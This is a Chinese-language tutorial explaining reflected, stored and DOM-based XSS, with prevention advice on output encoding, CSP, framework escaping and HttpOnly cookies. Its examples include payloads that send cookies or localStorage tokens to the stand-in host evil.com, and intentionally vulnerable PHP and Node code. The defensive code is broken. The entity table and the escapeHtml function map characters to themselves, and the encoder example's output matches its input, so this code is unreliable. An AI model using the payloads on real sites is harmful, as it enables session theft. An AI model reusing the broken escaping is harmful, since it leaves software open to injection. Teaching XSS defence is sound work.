安全服务

XSS 跨站脚本攻击是如何进行的?

什么是 XSS

XSS(Cross-Site Scripting)全称跨站脚本攻击——注意不是 CSS,所以缩写为 XSS。它的核心逻辑是:攻击者向网页注入恶意脚本,当其他用户浏览该页面时,脚本在他们的浏览器中执行,从而窃取数据、劫持会话或实施其他恶意操作。

这不是理论,是真实发生过的攻击。2014年,Twitter 就发生过大规模 XSS 攻击,攻击者通过一条推文注入了 JavaScript,数万名用户中招。

攻击的底层原理

浏览器的解析流程

要理解 XSS,先理解浏览器渲染页面的过程:

HTML 文本 → HTML 解析器 → DOM 树 → CSSOM → Render 树 → 页面渲染

关键点在于:浏览器对 <script> 标签里的内容是直接当作 JavaScript 代码执行的,不会做任何"转义"或"过滤"。

攻击的本质就是:让浏览器把攻击者控制的内容当成代码来执行。

三种 XSS 类型与攻击过程

1. 反射型 XSS(Reflected XSS)

场景:用户点击一个恶意链接,服务器把恶意脚本"反射"回页面执行。

攻击链

攻击者构造链接 → 用户点击 → 服务器接收参数 → 服务器原样返回 → 浏览器执行脚本

具体案例

假设有一个搜索功能,URL 是:

https://example.com/search?q=hello

后端代码(有漏洞):

php// 危险:直接将用户输入输出到页面
echo "<h1>搜索: " . $_GET['q'] . "</h1>";

攻击者构造恶意链接:

https://example.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

当用户点击这个链接时:* 浏览器请求该 URL

  • 服务器把 <script>...</script> 原样返回
  • 浏览器解析 HTML,遇到 <script> 标签
  • 浏览器执行其中的 JavaScript
  • 用户的 cookie 被发送到攻击者的服务器

这就是反射型 XSS——脚本不是存储在服务端,而是"反射"回来的。

2. 存储型 XSS(Stored XSS)

场景:攻击者将恶意脚本提交到服务器(评论、用户名、个人简介等),所有访问该页面的用户都会中招。

具体案例

假设一个论坛的评论功能:

javascript// 后端存储用户评论(未过滤)
app.post('/comment', (req, res) => {
    const comment = req.body.content;  // 直接存入数据库
    db.save(comment);
    res.send('评论成功');
});

// 前端展示评论(直接渲染)
app.get('/post/:id', (req, res) => {
    const post = db.findById(req.params.id);
    // 危险:直接插入 HTML
    res.send(`<div class="comment">${post.comment}</div>`);
});

攻击者提交评论:

html<img src=x onerror="fetch('https://evil.com/log?c='+document.cookie)">

所有访问该帖子的人,浏览器都会执行这段脚本,cookie 被窃取。

危害比反射型更大——因为攻击代码是永久存储的,影响所有访问者。

3. DOM 型 XSS(DOM-based XSS)

场景:攻击脚本不经过服务器,完全在浏览器端通过 JavaScript 操作 DOM 执行。

具体案例

javascript// 前端代码
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');

// 危险:直接将 URL 参数写入 DOM
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

攻击者构造链接:

https://example.com/page?name=<img src=x onerror="alert('XSS')">

浏览器解析时:* window.location.search 获取到 ?name=<img src=x onerror="...">

  • innerHTML 将这段 HTML 插入页面
  • 浏览器解析 <img> 标签,onerror 事件触发
  • JavaScript 执行

关键区别:服务器完全没有参与,纯前端漏洞。

攻击的底层细节

为什么 <script> 标签能执行?

浏览器解析 HTML 时,遇到 <script> 标签会:* 暂停 HTML 解析

  • 将标签内容交给 JavaScript 引擎执行
  • 执行完毕后继续解析
html<!-- 浏览器看到这段,会执行其中的 JS -->
<script>
    // 这里写的任何代码都会被执行
    fetch('https://evil.com/steal?data=' + localStorage.getItem('token'));
</script>

为什么 <img onerror="..."> 也能执行?

HTML 标签的事件属性(onerroronclickonload 等)本质上是 JavaScript 代码的容器:

html<!-- 等价于在 JS 中写了:img.onerror = "alert('XSS')" -->
<img src=x onerror="alert('XSS')">

当图片加载失败(src=x 是无效路径),触发 onerror 事件,执行其中的代码。

为什么 javascript: 协议能执行?

html<a href="javascript:alert('XSS')">点击</a>

当用户点击这个链接,浏览器将 javascript: 后的内容当作 JavaScript 代码执行。

防范措施

原则:永远不要信任用户输入

1. 输出编码(最核心的防御)

核心思想:在数据输出到 HTML 之前,将特殊字符转换为 HTML 实体。

原始字符HTML 实体
<<
>>
&&
""
''

示例(Java):

java// 使用 OWASP Java Encoder
String safeOutput = HtmlUtils.htmlEscape(userInput);
// 输入: <script>alert('XSS')</script>
// 输出: <script>alert('XSS')</script>
// 浏览器渲染为文本,不执行

示例(JavaScript):

javascript// 危险:直接插入
element.innerHTML = userInput;

// 安全:使用 textContent
element.textContent = userInput;
// 或者手动转义
function escapeHtml(str) {
    return str
        .replace(/&/g, '&')
        .replace(/</g, '<')
        .replace(/>/g, '>')
        .replace(/"/g, '"')
        .replace(/'/g, ''');
}

2. 输入验证(辅助手段)

javascript// 白名单验证:只允许特定格式
function validateInput(input) {
    // 只允许字母、数字、中文
    const validPattern = /^[a-zA-Z0-9\u4e00-\u9fa5]+$/;
    return validPattern.test(input);
}

注意:输入验证不能替代输出编码。攻击者可以绕过简单的正则,但编码是浏览器层面的保障。

3. CSP(内容安全策略)

CSP 是浏览器层面的防御机制,通过 HTTP 头告诉浏览器"只允许执行来自这些来源的脚本"。

httpContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'

更严格的配置

httpContent-Security-Policy: 
    default-src 'self';
    script-src 'self';           # 只允许同源脚本
    style-src 'self' 'unsafe-inline';
    img-src 'self' https:;       # 只允许同源和图片协议
    object-src 'none';           # 禁止 flash 等插件
    frame-ancestors 'none';      # 禁止被嵌入 iframe

效果:即使攻击者注入了 <script>evil.com</script>,浏览器也会拒绝执行,因为脚本来源不在白名单中。

4. 框架层面的防护

现代前端框架默认做了 XSS 防护:

javascript// React:默认转义
<div>{userInput}</div>  // 自动转义,不会执行脚本

// Vue:模板语法自动转义
<p>{{ userInput }}</p>  // 自动转义

// 危险:v-html / dangerouslySetInnerHTML
<div v-html="userInput"></div>  // 跳过转义,需要手动确保安全

教训:使用 v-htmldangerouslySetInnerHTML 时要格外小心,确保内容可信。

完整防御策略

┌─────────────────────────────────────────────┐
│              XSS 防御纵深                     │
├─────────────────────────────────────────────┤
│  第1层:输入验证(白名单)                     │
│  第2层:输出编码(HTML 实体转义)              │
│  第3层:CSP 策略(浏览器层面限制)             │
│  第4层:框架防护(React/Vue 默认转义)        │
│  第5层:HttpOnly Cookie(即使 XSS 也无法读 cookie)│
└─────────────────────────────────────────────┘

HttpOnly Cookie 的关键作用

javascript// 设置 cookie 时添加 HttpOnly 标志
res.cookie('session', token, { httpOnly: true });

// 即使 XSS 执行了 document.cookie,也读不到这个值
// 因为 HttpOnly cookie 对 JavaScript 不可见

这是最后一道防线——即使 XSS 攻击成功执行了脚本,攻击者也拿不到 session cookie。

总结

XSS 的本质很简单:让浏览器执行了不该执行的代码

防御的核心原则:永远不要信任用户输入

  • 输出时编码,输入时验证
  • 用 HttpOnly Cookie 保护敏感数据
  • 配置 CSP 作为纵深防御

记住这个口诀:"输入是敌人,输出是战场"——在数据进入浏览器的那一刻,你就要决定它是"数据"还是"代码"。编码确保它是数据,不编码它就变成了代码。

登录收藏

评论 (0)

暂无评论,快来发表第一条评论吧